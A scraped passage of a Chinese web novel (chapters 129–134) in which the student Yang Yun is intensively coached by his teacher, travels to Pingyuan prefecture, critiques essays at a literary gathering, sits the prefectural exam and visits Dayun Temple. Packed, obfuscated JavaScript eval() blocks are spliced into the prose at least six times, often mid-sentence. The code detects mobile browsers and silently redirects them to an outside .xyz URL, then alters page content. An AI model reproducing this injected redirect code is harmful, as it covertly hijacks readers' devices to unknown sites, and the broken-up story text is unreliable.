“从你入书院以来，文章写得一天比一天好，我这个做先生的很欣慰。” “你觉得如果单以你这篇文章论，过得了府试院试吗？” 杨云刚开始还挺开心，听到后面的话，他深思熟虑半晌后说： “学生觉得，过府试应该不难，院试不清楚。” 刚才卢毅说过，院试是整个平源府的童生一起竞争，他的文章在整个平源府能排到什么位置，杨云也不清楚。 罗孝荣才会外出访友，一来借此机会跟朋友们切磋文章，二来认识的秀才多些，更能明白，自身的水平到底能排到什么位置。 卢毅微微一笑，拿起毛笔在另外一张纸上写个破题，交给杨云， “若这个破题为院试中最优，你觉得你的文章能有什么水平？” 杨云低头看看卢毅的破题，比他的简洁，巧妙，立意更好，沉思片刻后说： “若是此题为最优，我的文章应该能排在中上之列。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559014|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不管从哪个角度来看，卢毅的文章都比杨云要强上一个档次，排在中上是实打实的真话。 卢毅轻轻点头，看着杨云淡淡地说：“此等文章只是我随手之作，院试之时，必然有相当多的人有这种水平。” “你若想院试过关，需得埋头学习，至少要达到这种水平才有六七成把握。” 杨云已经明白，卢毅是让他明白跟别人的差距，奋起直追。 想到这里，他冲着卢毅深深鞠躬，拱手行礼诚心诚意地说：“请先生指点。” 卢毅拿起杨云送的栗子吃一颗，慢条斯理地说： “你的根基不差，尤其是在眼光格局方面，高远宏大，这是你的优点。” “但你的精义文章，最大的缺点在于，你心中有不少想法，却难以落于笔下。” “从今天开始，你不用回学堂上课，每天到我这里来写精义文章，直到府试开始。” 杨云听完有些傻眼，从现下到府试开始还有一个多月时间，每天写精义文章，那不等于每天一遍县试？ 但想想方才卢毅随笔写的那个破题，杨云实在不甘心被人甩开，咬着牙说： “学生知道了！” 卢毅从书架上找出一本《时文全集》交给杨云，语重心长地说： “你现下还没有你的行文风格，可以先揣摩别家之长，融会贯通。” “若文章上有什么不懂，你来问我即可。” 杨云点点头，抱着《时文全集》坐在书桌上，用心地翻看起来。 正如卢毅所说，这些时文各有风格，有的辞藻华美，读的时候好像一幅优美画卷徐徐展开，有的行文工整对仗，读起来酣畅淋漓，快意至极。 读过这些时文，杨云再回头看他的文章，跟小学生写的作文差不多，简直惨不忍睹。 晚上回到学舍，听说杨云被卢毅要求跟他同房读书，方怀礼忍不住有些羡慕， “杨兄，你这运气真好，刚进书院没多久，能得到卢先生倾囊相授。” 第129章 平源府 第一百二十九章平源府 东阳书院的先生都有真本事，平日里教得也十分用心。 只是一位先生教二三十学生，和一位先生教一个学生，这里面的差距不可同日而语。 看着方怀礼羡慕的眼神，杨云苦笑着摇摇头， “你别提了，跟卢先生同处一室，我连喘气都不敢大声，压力大得不得了。” 方怀礼见到杨云这副样子，有些气恼地说： “我看杨兄你是得便宜还卖乖，故意来气我们的。” 书院不知道有多少学生，想要这样的特殊待遇，杨云竟还嫌压力太大。 睡在另外一张床的卢汲翻个身，看着方怀礼笑呵呵地说： “要不你跟杨兄换换，你单独跟卢先生相处一天试试？” 方怀礼想想卢毅平日里不苟言笑的样子，忍不住缩缩脖子，果断摇头拒绝。 学舍中的其他三人哈哈大笑，闲聊着谁去。 第二天，卢毅给杨云出五道题，才夹着书本去上课。 杨云昨天刚读过时文，忍不住手痒，仿着时文的风格，答这五道题。 卢毅吃过饭后，用休息时间把杨云写的五篇文章改一遍，把他叫过来仔细点评， “你这几篇文章，应该是模仿《时文全集》中林石的文风吧？” “他的文章大气磅礴，读起来有种江海奔涌的感觉。但你这文章太注重大气，写到最后只剩下一堆大而无当的空话，只能让人觉得你眼高手低。” 杨云小鸡啄米一样连连点头，他在写的时候也发现这个问题，只是他根本收不住，只能硬着头皮写完。 卢毅把他改过的文章还给杨云，认真地指点他说： “越是这种大气文章，越要从小处着手，这样才能让你的文章不说空话。” 杨云低头看看手中的文章，卢毅改得都是写小处，但读起来确实比他写得好上许多。 从这天起，杨云天天来卢毅这里写时文，卢毅也把文章数从每天五篇，提到每天十篇。 十篇文章弄得杨云苦不堪言，每天得熬夜才能勉强写完。 但杨云很快发现，他的时文技巧上一个大台阶，连字也写得漂亮不少。 有这个发现，杨云学得更加努力，每天除看文章就是写文章，都快走火入魔。 这天卢毅又给杨云出十道题目，只是杨云拿过来看一眼，忍不住哇的一声吐出来。 卢毅吓一跳，连忙跑过来，一边拍着杨云的背一边焦急地问道： “杨云，你这是怎么了？我让人去请朗中！” 杨云是全书院最好的面子，要是因为他的原因毁了，卢毅心里得后悔一辈子。 没想到杨云吐一会儿，脸色苍白地冲着卢毅摆摆手说： “先生不用担心，我是这两天题目做得太多，看到它有点恶心。” 卢毅拿过他的茶水让杨云漱漱口，颇为担忧地问： “既然如此，不如我给你放假一天，让你回去好好休息休息。” 为能够提升文章技巧，杨云已经二十多天没休息，天天在这里写，看。 杨云用茶水漱漱口，感觉胃里舒服点后，坚定地摇头说： “不用，我还可以坚持。” 看着杨云煞白的脸色，卢毅没有再说什么，只是叫下人把吐出来的东西收拾掉。 转眼到去平阳府报名府试的日子，这天卢毅只给杨云出三道题目，让他慢慢写。 杨云仔细琢磨后，已有思路，提笔打好草稿，又写正文，修改润色后，才誊到题纸上。 一切都跟正式院考的流程一样。 卢毅仔细看杨云的文章，脸上露出欣慰的笑意， “这几十天你进步神速，我看你这次院试，应该是十拿九稳啊。” 杨云也知道这几十天，他写文章的技巧有质变，全托面前的卢毅，他深深鞠躬说： “多谢先生这些日子的教导，学生此去府城，必不负先生栽培。” 卢毅笑着将杨云扶起来，满眼慈爱地看着他说： “回去之后好好休息，我在书院等着你的好消息。” 辞别卢毅，杨云回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559015|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家休息一天，让母亲打点行装，两人坐马车直奔平源府。 平源府离东平县一百多里路，三天之后，杨云坐在马车上，看着远处高高的城墙，略带兴奋地对马车里面的姜梅说： “娘，我们到平源府了！” 姜梅探出头来，看着远处的城池，脸上露出一丝淡淡的笑容。 不多时，马车来到平源府城外，城门军查看杨云几人的路引，确认无误后放人进城。 车夫牵着马缓缓走进平源府，街道两边满是做生意的小商小贩，吆喝声更不绝于耳， “新到的好茶，滋味醇厚，值得一品！” “刚出炉的烧饼，两文钱一个！” 姜梅坐在马车上，看着四周热闹的景象，兴致勃勃地说： “这比咱们东平县热闹多了。” 杨云随声附和两句，京城的景象比这里更繁华，他自然没有什么感触。 车夫拉着杨云两人来到客栈，想问还有没有空房，小二一脸抱歉地说； “真是对不住几位，我们店的客房都满了，您去别家问问吧。” 听到客房满了，杨云也不以为意，换一家又问，没想到还是客满。 一连问好几家，家家如此，杨云觉得有些奇怪，忍不住拉着小二问道： “你们平日的生意这么好？” 没想到小二听到杨云的话，面色古怪地打量着他说： “客官，您不知道再过几日是府试？平源府十三个县的所有童生，都得来城里考试，你说我们的生意能不好吗？” 杨云恍然大悟，平源府十三个县，每县都有数百人要参加府试。 这么多人**在一起，客栈自然爆满，他的科举经验还是少了，应该提前定好房间。 看着杨云一脸懊恼的样子，小二立刻猜到他的身份， “公子，你也是来赶考的？离府衙近的客栈肯定都满了，您去远点的问问，说不定还有。” 姜梅连忙谢过小二，催促着车夫去远点的客栈，直到天色将黑，才终于找到地方住下来。 第130章 考前准备 第一百三十章考前准备 杨云和姜梅找掌柜要三间房，把东西放下后，才长舒一口气，总算有个落脚地方。 吩咐小二送来些吃食，杨云和姜梅胡乱吃几口，赶紧拿出书温**。 第二天杨云起床吃早饭，却发现客栈的大堂坐满人，他不由得有些奇怪，拉着小二问， “伙计，你们客栈的生意这么好吗？早上客满？” 杨云来这里也有段时间，他知道穷人早上都是买点煎饼馒头，随便对付一下。 富人家里有下人伺候，不会出来吃饭，这么多人来客栈吃饭，还挺奇怪的。 小二脸上带着虚浮的笑容，不假思索地和杨云解释说： “公子，这些都是和您一样，来府里赶考的童生，吃完饭还要回去温书呢！” 杨云扫一眼，这些人年龄有大有小，但能看出，眉宇间都带着几分书卷气。 他找个没人的桌子坐下，让小二上二两包子一碗稀粥，想着一会和车夫去府衙一趟。 还有三天是府试的日子，杨云得提前把路线搞清楚，不然府试那天走错路，之前的准备全都白费。 在杨云吃饭的时候，一个文质彬彬，看起来二十岁左右的年轻人走到桌前，拱拱手问： “兄台，请问这里有人坐吗？” 杨云抬头看看年轻人，又扫一眼大堂，四周的桌子已经坐满人，他客气地摇摇头，“没人，兄台请坐吧。” 年轻人跟小二说要吃什么，看着杨云客气地说： “在下泰泉县梁庭霖，看兄台模样，应该也是来参加府试的吧？不知道兄台怎么称呼？” 梁庭霖看杨云年纪比他还小，猜测他应该学识不凡，起结交的心思。 离府试还有几日，两人若切磋一些文章，说不定考上的机会会更大一些。 听到梁庭霖主动报上姓名，杨云把筷子放下，冲着他拱拱手说：“在下东平县杨云，见过梁兄。” 没想到听到杨云的名字，梁庭霖眼中露出思索之色，过片刻后问道： “是破东平县灭门案的杨云杨兄吗？” 杨云没想到梁庭霖竟会知道这件事，心中忍不住有些诧异，看着他反问：“梁兄怎么会知道这件事？” 灭门案在东平县闹得沸沸扬扬，但对别的县是一件普通**案，听过也算了，不可能关心是谁破这桩案子。 梁庭霖能一口说出杨云的名字，难道他是杨灿派来的人？ 但他当初跟杨灿已经全说清楚，他不应该在派人害他，何况如果是杨灿派来的人，他更不应该这么说。 看着杨云眼中的惊讶和疑惑，梁庭霖笑着向他解释说： “杨兄不必惊慌，我对刑案之事颇有兴趣，曾找人仔细了解过，才知道杨兄大名。” 原来是个推理小说迷。 杨云搞清楚后，脸上的神色缓和许多，谦虚地摆摆手说： “梁兄过于，我只是适逢其会而已，就算没有我，县衙的捕快一样能破案。” 有话头，两人很快聊起来，不多时从刑案聊回到府试。 两人得知对方是县试案首后，越聊越投机，最后梁庭霖问道：“不知杨兄这几天可有他事？” “我和几位相熟的朋友准备举行一个小文会，切磋文章，想要厚着脸皮，请杨兄参加。” 埋头读书不如与人多多交流，这样才能更快地发现自身文章中的毛病，也能交更多朋友。 杨云沉思一下，觉得参加文会，多认识些朋友也好，问道： “我吃过早饭，准备去府衙一趟，熟悉熟悉路途，不知道梁兄的文会在什么时间？” 梁庭霖脸上泛起一抹笑容，高兴地说：“那太好了，我们的文会在明天，杨兄今天熟悉好路途，正好可以参加。” 两人定好明天见面的时间，杨云起身告辞，和姜梅车夫一起去看府衙的路线。 三人没有驾车，徒步从客栈开始走，每到一个路口，杨云都会让车夫记清楚点。 姜梅见到杨云在这件小事上，浪费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15562153|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么多时间，忍不住开口劝道： “云儿，这件事我和王把式能办，你还是回客栈温书去吧。” 还有三天要府试，这时候的时间可谓是一寸光阴一寸金，杨云却用来走路，太浪费。 赶车的王师傅也点头，他是干这个的，记路是最基本的能力，杨云用不着亲自来。 没想到杨云还是摇摇头，一边往前走一边对两人说： “不是我浪费时间，也不是不相信王师傅，只是赶考那天，会发生什么事，谁也不知道。” “万一马车要是在路上堵住怎么办？万一有人对咱们的车动手脚怎么办？” “府试迟到，不会因为你堵在路上，就对你网开一面的。” 听到杨云把这件事说得这么严重，姜梅脸上闪过一丝惊疑，抓着手绢问： “这……这不会吧？难道真有人会坏到这种地步？” 杨云嘴角泛起一丝笑意，看着路上的行人轻声说：“娘，那是功名！只要少去一个人，考中的概率会大一些。” 这下姜梅不说话了，王师傅在记路的时候，也更加慎重。 三人用大半个时辰才走到府衙门口，杨云左瞧右看，记着四周的地形。 回来的时候，杨云特意找本地人带路，走一条新路，这样就算遇到意外，他们也能及时更换路线，不至于惊慌失措。 下午回到客栈后，杨云依旧在房间温书，连晚餐都是让小二送到房里吃的。 第二天早饭之后，杨云在客栈大堂跟梁庭霖碰面。 两人寒暄几句，梁庭霖领着杨云来到客栈的包厢状元阁中，里面已经坐三个人。 作为文会的发起人，梁庭霖坐主位，对另外三人介绍说： “三位，这是我跟你们说过的，东平县县试案首，杨云杨兄！” 剩下三人礼貌地拱拱手，客气地道一声久仰，梁庭霖为杨云介绍说： “杨兄，这位是我的同乡，赵奕，李向谦，那位是乐业县县试第三名，于慎言。” 第131章 文会 第一百三十一章文会 杨云冲着三人拱拱手，客气几句，算是互相认识，随便找个地方坐下。 梁庭霖招呼小二上壶好茶，又上几盘点心，才歉意地说： “仓促之间，只能办成这样，还请四位多多包涵。” 杨云等人是受邀而来，自然不能对梁庭霖的招待指手画脚，纷纷表示这样已很不错。 必要的寒暄过后，梁庭霖拿出几道题目，请四人传阅，笑着说： “这是我今天早上才想出来的题目，咱们今日以此为题，各自做好文章，互相品鉴。” 李向谦看过题目，皱着眉头对梁庭霖说： “梁兄，这几道题涉及经意策论，就算紧赶慢赶，也要入夜才能做完，时间太紧张啊。” 于慎言赞同地点点头，顺手把题目交给杨云，看着梁庭霖说： “如果作到夜里，那我们没时间品鉴了。” 文会的主要目的是品鉴，与会的文友会指出文章的错漏，短板，促进作文之人的进步。 如果只是为做文章，他们在房间里也能做，用不着专门组织个文会。 杨云拿过题目看一下，题量确实不小，就算是他来作，也要下午才能作完。 听到李向谦和于慎言的话，梁庭霖不慌不忙地说： “二位莫要着急，我们只需把这几道题目的论头，论项，论腹，论尾写出即可。” “在座都是高手，只要看到这四论，定然能分辨出文章好坏。” 众人想想，觉得梁庭霖这个想法不错，四论是文章总纲，看到四论能晓文章大概。 这时杨云将梁庭霖的题目放下，抬头对众人说： “不如我们细作第一题，剩下几题，按梁兄办法，诸位以为如何？” 这个办法又比梁庭霖的想法好上一点，众人纷纷点头同意，连梁庭霖也赞不绝口。 说做就做，几人熟悉题目后，立刻找小二要来纸笔，纷纷作起文章。 虽然包厢之中无监考，但每个人都自觉地不看他人纸面，各写各的，十分自觉。 杨云经过卢毅的特训，下笔最快，第一个把详细作的那篇文章写好。 剩下的四道，杨云没有着急下笔，脑海中对着题目思索半天，想要作出个让人赞叹的破题思路。 这不是他在诸人面前炫技，而是想要精益求精，看看他在童生之中是什么水平。 中午几人也没叫小二送饭，随便吃些点心，喝些茶水，继续作文章。 等到日头西斜，梁庭霖第一个做完，之后于慎言，杨云，最后是李向谦，赵奕。 几人将作好的文章放在面前，梁庭霖笑着拿起他那篇详作的文章说： “各位兄台都是大才，梁某自知才疏学浅，斗胆请各位先品鉴在下文章，算是抛砖引玉。” 众人客气几句，接过梁庭霖的文章仔细研读。 一圈之后，于慎言首先开口说： “梁兄这片文章做得不错，立意清楚，文辞华美，但有些典故过于晦涩。” 文章中用过于晦涩的典故，会让考官觉得考生在故意炫耀，可能会被打下来。 梁庭霖看看他的文章，很快找到于慎言说的那处典故，认真看看后，点头谢过。 接着李向谦和赵奕各自开口，都说一些梁庭霖文章中的毛病。 终于轮到杨云，他想一下后说： “梁兄文章开口很好，但中篇有些啰嗦，结尾更有絮叨之嫌，应该适当精简一些。” 梁庭霖仔细看看文章，只觉得辞藻华美，哪一句都舍不得删去。 于慎言坐在位置上，回想着梁庭霖的文章，但思来想去，不觉得中篇和结尾啰嗦。 前面三人说的地方，梁庭霖能改，杨云说的毛病，他实在不知道如何下手，只能把题纸递给杨云，话语中带着几分不服说： “既然杨兄这么说，必然能看出哪里啰嗦，还请兄台斧正。” 梁庭霖看几遍都没找到删减之处，觉得杨云是在鸡蛋里挑骨头，但又不好当场发作，只能在话里暗暗带个刺。 杨云也不以为意，大大咧咧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15562154|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地接过文章，提笔在中篇和结尾处改几句，再还给梁庭霖，谦虚地说： “我的水平只能改成这样，还请各位不要见笑。” 梁庭霖拿过来一看，刚才他写的那些华美词句，有一半被杨云删去，换成几句朴实之言。 这几句话非但没有破坏整篇文章的华美，反而让文章更加紧凑，有力。 于慎言等三人看过后，也对杨云很是佩服，这种删繁就简的功夫，不是人人都有的。 “杨兄实在是客气，你写得这几句够我回去揣摩些日子啊。” 看过杨云的改动后，梁庭霖冲着他拱拱手，眼神中带着几分惊喜。 若能把杨云的改动揣摩透，梁庭霖的文章必然能再上一个台阶。 听到梁庭霖这么说，于慎言立刻拿起他的题纸递到杨云面前，恭敬地说： “请杨兄斧正！” 杨云也不客气，拿起卷子看一遍，点出于慎言写文章的一个毛病，还告诉他该怎么才能改。 很快，其他两人的文章也品鉴完，杨云起身把他的题纸交给梁庭霖，笑着说： “请各位为我斧正。” 以刚才的文章水平来看，参与文会的五人中，除杨云，梁庭霖的学识最高，之后是于慎言，赵奕和李向谦排在最尾，先给他看是对的。 只是没想到，梁庭霖看过杨云的文章后，却紧紧皱起眉头，沉默半晌后交给于慎言。 于慎言看过后，脸上同样露出为难之色，只能把文章交给赵奕李向谦。 李向谦看过杨云的文章，脸上立刻露出笑容，佩服地看着杨云说： “杨兄果然是大才，此等文章比我作得高出不止一筹。” 赵奕十分赞同李向谦的话，点着头说： “怪不得杨兄能拿东平县案首，同科学子输得不冤。” 杨云谢过两人，转头看向梁庭霖和于慎言，眨着眼睛问： “二位看过我的文章后，为何一言不发？若有什么毛病，二位尽管直言，我的脸皮够厚，几句点评还是能吃下的。” 第132章 考官的秘密 第一百三十二章考官的秘密 虽然杨云才十九岁，但已经经历过，很多人一辈子都不会经历的风浪，不至于为几句点评之语，跟梁庭霖于慎言闹僵。 梁庭霖看看于慎言，苦笑着对杨云说： “杨兄，不是我不想点评，而是你这篇文章写得太好，我实在不知从何下手。” 旁边的于慎言赞同地点点头，无奈地叹一口气说： “昔年曾有《吕氏春秋》，更易一字，可赠千金，我现下看杨兄的文章，已有几分面对《吕氏春秋》的无能为力。” 两人不是谦辞，而是真心觉得杨云的文章写得好，让他们挑不出毛病。 听到两人的称赞，杨云没有假客气，而是平淡地说： “若是二位真没有意见，那咱们看剩下的几道题目吧。” 或许是觉得不说几句有点对不起杨云，梁庭霖沉默片刻之后说： “非要挑毛病的话，杨兄这笔字……可以回去多练练。虽然科举取士主要是看文章，但字迹其实是很重要的一环。” 于慎言苦笑着摇摇头，说杨云字不好，其实有点硬挑毛病的意思。 毕竟科举是为朝廷选拔治理天下的人才，字写得好一点差一点，无关紧要。 梁庭霖也知道他有点过，连忙道歉几句，把题纸还给杨云。 没想到杨云轻轻点头，认真地看着梁庭霖说： “梁兄的话我记住了，日后一定好好练字。” 刚才杨云看过其他四人的文章，他的字确实没有别人写得好。 梁庭霖等人是从小就开始读书练字，在书法上已经有十几年的造诣。 杨云虽然小时候也念书，但正经练字还是从去年开始的，肯定比不过他们四个。 品鉴完杨云的文章后，几人又开始看剩下的题目。 等到五人把所有题目全都看完后，窗外已经是繁星点点。 梁庭霖才惊讶地发现，光顾着看题目，竟忘了吃饭，连忙让小二上一桌子饭菜，几人吃个痛快。 吃完饭后，众人又说些文章之道的技巧，一直到夜深才各自散去。 在杨云准备离开的时候，梁庭霖冲着他使个眼色，杨云心中一动，坐着没动。 等到其余三人都离开后，梁庭霖小心翼翼地探头出去看看，确定没人后，把包厢门关上。 看着梁庭霖神神秘秘的样子，杨云一头雾水地问：“梁兄，有什么话你光明正大地说即可，这是干什么？” 梁庭霖拿起茶盏轻轻抿一口，才冲着杨云说： “杨兄，你可知除写好文章之外，还有什么办法能增加你通过府试的概率吗？” 杨云立刻振作精神，目光炯炯地看着梁庭霖。 怪不得他刚才要把门关好才敢开口，这种事关功名的秘密，自然知道的人越少越好。 片刻后，杨云心中闪过不少念头，最终侧目对梁庭霖说： “梁兄，这些办法我知道不少，但都是明犯大盛律法的。” 不管是贿赂考官，还是私藏夹带，又或者购买考题，全都是重罪。 杨云本来能凭他的才学考上，当然不想担这个风险。 看着杨云义正词严的样子，梁庭霖摆摆手说：“明犯大盛律法的事，我自然不会干，我说的这个办法也不会犯法。” 听到还有这么好的办法，杨云来兴趣，兴致勃勃地问道：“不知道梁兄说的这个办法，到底是什么？” 梁庭霖起身坐到杨云身边，小声地凑到他耳边说： “杨兄也是读书人，应该知道，每个人喜欢的文章，风格都有所不同。” 这一点杨云早知道，比如周仲喜欢读些狂放不羁的诗词，卢毅则喜欢朴实无华的文章，他喜欢那些大气磅礴，朗朗上口的骈文。 只是他有些不理解，文章风格跟通过府试有什么关系。 看着杨云还没有听懂他的意思，梁庭霖的声音压得更低， “据我所知，平源府的知府杜培田杜大人，最爱辞藻华美的文章。” “此次府试是由杜大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15562155|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阅卷，录取，这下你明白吧？” 杨云恍然大悟，杜知府喜欢辞藻华美的文章，那么在府试的时候，文章要写得华丽一些，这样杜知府看到之后欣喜，录取的概率自然大大增加！ 最重要的是，这种方法确实不犯大盛律法，没有任何人规定，不许录取华美文章！ 见到杨云明白，梁庭霖长舒一口气说： “我知道以杨兄的文采，就算不用这些花招，一样能通过府试，但多一分把握总是好的。” 自古以来，有才华却中不了举的人比比皆是，杨云说不定也会这样。 听到梁庭霖的话，杨云起身，郑重地冲他鞠一躬，认真地说：“多谢梁兄提点之恩。” 这个秘密说大不大，说小不小，对杨云来说，却实实在在地有用。 梁庭霖连忙起身回礼，若不是杨云用心给他改文章，梁庭霖也不会把这个秘密告诉他。 两人又说些杜知府平日喜欢读的书，才各自回房休息。 第二天杨云找好些辞藻华美的文章，好好地读几遍。 当夜，杨云早早休息，准备迎接明天的府试。 府试当天，杨云早早起来，带上母亲给他准备好的篮子，坐着王把式的车赶往府衙。 整个平源府的街上，到处都是马车，全都是一早起来赶考的学子。 幸好杨云前几天带王把式熟悉过路，每次见到前面堵得严严实实，王把式绕道而行，总算提前半个时辰赶到府衙门口。 府衙外面已经黑压压地站满人，姜梅让王把式找地方停车，她跟杨云等着开考。 天边晨光破晓，府衙大门终于打开，一大堆兵丁站在大门口，目光凶狠地看着学子们。 姜梅看到这么大的阵仗，小声安慰杨云， “云儿，进去之后好好做题。咱们行得正坐得直，用不着害怕。” 杨云点头，听到一声炮响，嘈杂的学子们立刻安静下来，一个小吏站在府衙门口高声喊道：“众学子，五十人一排，逐个进院！” 第133章 府试 第一百三十三章府试 学子们乱哄哄地排好队伍，一排排地向府衙门口走去。 站在后面的杨云看得清楚，几十个空着手的兵丁，将学子们从上到下，从里到外，仔仔细细地搜捡一遍，才会把人放进去。 相比县试，府试的搜捡严苛不少，除非搜出东西，否则连话都不能说。 杨云看一会后，跟母亲说一声，和几个学生一起排队，准备接受搜捡。 不多时，队伍轮到杨云这一排，一个五大三粗的兵丁来到杨云面前，先是把他里里外外搜一遍，又让他解开衣衫，看看衣服上有没有字迹。 确认身上没有后，兵丁又把篮子拿起来，把里面的吃食，文房四宝等一一看过。 所有东西都查过一遍，才放杨云去后面领号牌。 领完号牌，杨云坐在考房之中，仔细收拾好东西，沉心静气地坐等发卷。 足足小半个时辰过去，杨云才听到三声号炮，有兵丁过来，把府试的卷子发下来。 相比县试，府试的难度高不少，但对杨云来说，仍旧是小菜一碟。 他仔细揣摩好破题思路，落笔写一篇草稿。 经过仔细审阅、修改后，杨云准备把文章誊写到题纸之上。 在他准备落笔的时候，耳边忽然响起梁庭霖说过的话。 【杜知府最爱辞藻华美的文章。】 杨云看看他的文章，行文工整语句对仗，用词有几分秀气，但绝称不上华美。 若以杜知府的喜好再改一遍，杨云定然能改出一篇花团锦簇的文章。 可在他准备动笔的时候，卢毅平日里对他的教导在脑海中回荡。 【文章当以平实朴素为好，用词典故太多，只能让你的文章逐渐落于下成。】 这些杨云有些为难。 是为功名，迎合考官的喜好，挖空心思写一篇辞藻华丽的文章？ 还是遵循先生的教导，以他的风格，认认真真地应试做题？ 杨云想足足有两刻钟，最终还是决定，不迎合考官喜好，只以他的文风作答！ 明明只是一件无人知晓的小事，但杨云在想通的那一刻，却觉得他好像扫去心头的一片污垢，变得通透许多。 这一场考完已经天近黄昏，杨云和姜梅坐着王把式的马车回到客栈，正巧看到梁庭霖几人，正在讨论今日的考题，杨云也过去说两句。 一连几天，天天如此。 直到第五天考完后，众人又聚在一处，梁庭霖一脸如释重负地说： “总算是考完了。离放榜还有三日，不知几位有何打算？” 府试和县试一样，都是考完三日后放榜，客栈中住的考生几乎全是外地人。 这三日大部分都不回家，直到府试榜单出来之后，才会再做决定。 如果中了，在府城内租间小院，专心准备院试；没中只能回家，等下一科再来。 于慎言脸上也是一脸轻松之色，笑呵呵地开口说： “我准备在平源府好好游玩一番，这些天光顾着准备府试，都没看过周围的名胜古迹。” 梁庭霖眼中闪过一丝赞同之色，高兴地说：“我听说平源府城外的大云寺景色优美，于兄可与我结伴同往。” 李向谦和赵奕也想放松一下，说要跟梁庭霖去大云寺。 杨云想到母亲陪他来府城考试，一路奔波劳累，趁着这个机会，陪她出去散散心也挺好，也答应下来。 回去之后，杨云跟姜梅说去大云寺的事，姜梅推脱几句，最后还是答应。 第二天，杨云带着姜梅，与梁庭霖等人一起来到城外的落霞山，看着山道边的风景，优哉游哉地往山顶爬去。 梁庭霖作为几人之中，对大云寺最了解的人，主动担起讲解之责， “这大云寺始建于兴瑞二年，迄今为止已经有两百多年的历史。” “平源府的人都说这座寺庙极为灵验，凡是诚心上香许愿，必然应验。” 姜梅的眼睛微微一亮，走路也更有劲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“大云寺的素斋做得不错，咱们今日难得过来，尝尝这里的素斋如何？” 第134章 大云寺的老和尚 第一百三十四章大云寺的老和尚 众人听到有素斋吃，自然齐声答应，找到寺里和尚，捐些香油钱，被领到后堂用饭。 大云寺的素斋很简单，每个人一盘豆腐，一盘青菜，一碗如意面。 几人爬半天山，早已经是饥肠辘辘，拿起筷子大快朵颐，原本最为寻常的豆腐青菜，也变得香甜可口起来。 吃完饭后，众人歇息片刻，接着又在大云寺内游览起来，不知不觉走到寺庙后院。 在众人准备进去一探究竟的时候，一个慈眉善目，眉须皆白的和尚走出来，和颜悦色地拦住众人，双手合十说： “各位施主，后院是我寺禁地，不对香客开放，还请各位见谅。” 众人连道冒犯，转身准备去其他地方看看。 这时那个拦下众人的和尚，忽然开口说：“这位施主，你能上前来让老衲仔细一观吗？” 几个人一起回头，互相之间看看，也不知道老和尚叫的人是谁。 老和尚看着杨云，目光中带着几分惊奇之色，再次道：“是这位身着蓝衫的施主，请上前来。” 杨云不明所以，带着满肚子的疑惑走到老和尚面前，合十行礼说：“不知道大师叫住在下，想干什么？” 老和尚没有回答，只是仔细地看着杨云的面容，过好半天后才说：“施主面相贵不可言，但这份贵气之上又有乌云压顶，实在是奇哉怪哉。” 姜梅一听有些紧张，但刚才大师只叫杨云一个人，她也不敢贸然上去。 梁庭霖压低声音对身边的李向谦笑着说：“看来杨兄是碰到招摇撞骗的假和尚了，也不知道他这次要被讹走多少银子。” 之前梁庭霖在不少寺庙见过这种事，杨云第一次来府城，也不知道能不能识破这个骗子。 